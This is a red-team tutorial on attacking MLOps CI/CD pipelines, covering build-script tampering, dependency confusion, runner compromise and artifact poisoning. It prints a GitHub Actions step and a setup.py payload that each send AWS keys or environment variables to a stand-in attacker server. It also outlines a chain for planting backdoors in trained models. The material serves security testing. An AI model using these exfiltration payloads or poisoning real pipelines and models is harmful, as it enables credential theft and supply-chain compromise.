The CI/CD pipeline is the automated factory floor of modern software, and for MLOps, it’s where raw data and code are forged into intelligent models. An attacker who controls this pipeline controls the integrity, confidentiality, and availability of every AI system it produces. Your objective as a red teamer is to treat the MLOps pipeline not as a developer convenience, but as a primary attack surface and a vector for deep, persistent compromise.
The Pipeline as a Privileged Pivot Point
An MLOps pipeline inherently requires privileged access to a wide range of sensitive resources. It needs to pull source code, access massive datasets, provision powerful compute resources, and push model artifacts to protected registries. This concentration of secrets and permissions makes it an extraordinarily high-value target. A single vulnerability can unravel the security of the entire machine learning lifecycle.
We will dissect the pipeline into its core components and explore common exploitation techniques for each. The goal is to move beyond simple misconfigurations and understand how to chain vulnerabilities for maximum impact.
Key Attack Vectors in the MLOps CI/CD Pipeline
Your assessment should be structured around identifying and exploiting weaknesses at different stages of the automation process. Below are the primary vectors you will encounter.
1. Build Configuration and Script Tampering
This is the most direct method of compromise: altering the instructions the pipeline follows. Look for weaknesses in how pipeline configurations (e.g., Jenkinsfile, .gitlab-ci.yml, GitHub Actions workflows) are managed and triggered.
A common vulnerability is a pipeline that automatically runs on pull requests from forked repositories without proper sandboxing. This allows an attacker to submit a pull request with a modified build script that exfiltrates secrets stored as environment variables in the build runner.
# Example of a malicious step in a GitHub Actions workflow (.github/workflows/main.yml)
# This step, added by an attacker in a PR, sends secrets to a controlled server.
- name: Exfiltrate Secrets
run: |
curl -X POST -d "AWS_KEY=${{ secrets.AWS_ACCESS_KEY_ID }}&AWS_SECRET=${{ secrets.AWS_SECRET_ACCESS_KEY }}" https://attacker-controlled-server.com/secrets
Your task is to identify such triggers and craft a payload that abuses the runner’s environment. The payload doesn’t need to be complex; a simple `curl` or `nc` command is often sufficient to prove impact by exfiltrating credentials for data stores, cloud providers, or model registries.
2. Dependency Supply Chain Attacks
ML projects are built on a mountain of open-source dependencies. This creates a significant attack surface through dependency confusion, typosquatting, or outright poisoning of legitimate packages.
In a dependency confusion attack, you identify an internal package name used by the target organization (e.g., acme-ml-utils) and publish a malicious package with the same name to a public repository like PyPI. If the build runner is configured to check public repositories first, it may pull your malicious version instead of the internal one.
| Package Name | Intended Source (Private Registry) | Attacker’s Source (Public PyPI) | Outcome |
|---|---|---|---|
acme-data-connector |
Version 1.2.0 | Version 99.9.9 (Malicious) | Build runner pulls higher version from public repo, executing attacker’s code. |
Your exploit, embedded in the package’s setup.py or __init__.py, executes within the trusted pipeline environment, granting you access to everything the build runner can see.
# Malicious code in an attacker's setup.py for a dependency confusion attack
import os
import requests
import socket
# This code runs during package installation ('pip install')
def steal_secrets():
hostname = socket.gethostname()
# Gather environment variables, which often contain secrets
env_vars = str(os.environ)
payload = {'host': hostname, 'env': env_vars}
# Send the secrets to the attacker's server
requests.post("https://attacker-controlled-server.com/loot", json=payload)
steal_secrets()
3. Build Runner and Environment Compromise
The ephemeral compute instances that run pipeline jobs (runners or agents) are often overlooked. If you can gain execution on the runner, you can tamper with the build process in real-time. This can be achieved through the methods above or by exploiting vulnerabilities in the runner software itself.
Once on the runner, your objectives are:
- Secret Interception: Access environment variables, mounted secrets, or credentials injected by the CI/CD platform.
- Artifact Tampering: Intercept and modify artifacts (datasets, models, container images) before they are saved or pushed to a registry. This is subtler than source code modification as the final artifact is poisoned, not the source.
- Lateral Movement: Use the runner’s network access and credentials to pivot into other parts of the cloud environment or internal network.
4. Insecure Artifact Handling
The pipeline produces valuable artifacts: processed datasets, serialized models (.pkl, .h5), and container images. If the pipeline pushes these artifacts to an insecure location (like a public S3 bucket) before a final security scan or transfer, you can poison them mid-stream.
For example, you could replace a legitimate serialized model file with a malicious one that contains a backdoor. When the model is loaded for inference in production, your code executes. This is a powerful technique for achieving persistence and execution in the production environment.
Anatomy of a Pipeline Attack Chain
Effective red teaming involves chaining these vulnerabilities. A realistic attack might not be a single, loud exploit but a series of quiet steps that culminate in a significant compromise.
- Initial Access: Gain the ability to push code. This could be through a compromised developer credential, exploiting a vulnerability in the source code management platform, or being an insider.
- Payload Injection: Commit a subtle change to a data preprocessing script or model training file. The payload is designed to create a backdoor in the model that activates on a specific trigger. For instance, modifying a data normalization function to create a vulnerability.
- Automated Execution: The CI/CD pipeline automatically pulls the malicious code and executes the training job using its privileged credentials. The pipeline is unaware that it is building a compromised model.
- Poisoned Artifact Storage: The pipeline dutifully saves the backdoored model artifact to the model registry, signed and versioned as if it were legitimate.
- Deployment and Impact: The compromised model is deployed to production. The attacker can now exploit the backdoor they created, bypassing traditional security controls because the malicious behavior is part of the “blessed” AI model.
Red Team Engagement Notes
When targeting an MLOps CI/CD pipeline, your reconnaissance and exploitation should be systematic:
- Enumerate Pipeline Technology: Identify the CI/CD system (Jenkins, GitLab CI, GitHub Actions, etc.). Each has unique configuration patterns and potential vulnerabilities.
- Map Pipeline Triggers: How are builds started? On every commit? On pull requests from forks? On a schedule? Unsafe triggers are your entry point.
- Review Pipeline Configurations: Get access to the pipeline definition files (`.yml`, `Jenkinsfile`). Look for hardcoded secrets, use of insecure commands (`curl | bash`), and overly permissive dependency configurations.
- Analyze Runner Permissions: What IAM role or service account does the build runner use? Audit its permissions. Can it access more than it needs to? Can it write to production data buckets?
- Probe for Dependency Confusion: Scan `requirements.txt`, `pom.xml`, or `package.json` files for custom internal package names. Check public registries to see if those names are available for you to claim.
- Test Secret Management: How are secrets provided to the pipeline? As environment variables? Through a vault? Attempt to print them to the build log. Many systems fail to properly mask all secret formats.
Compromising the CI/CD pipeline is a decisive victory in an AI red team engagement. It demonstrates a fundamental failure in the MLOps process and provides a powerful platform for further attacks against the entire AI supply chain.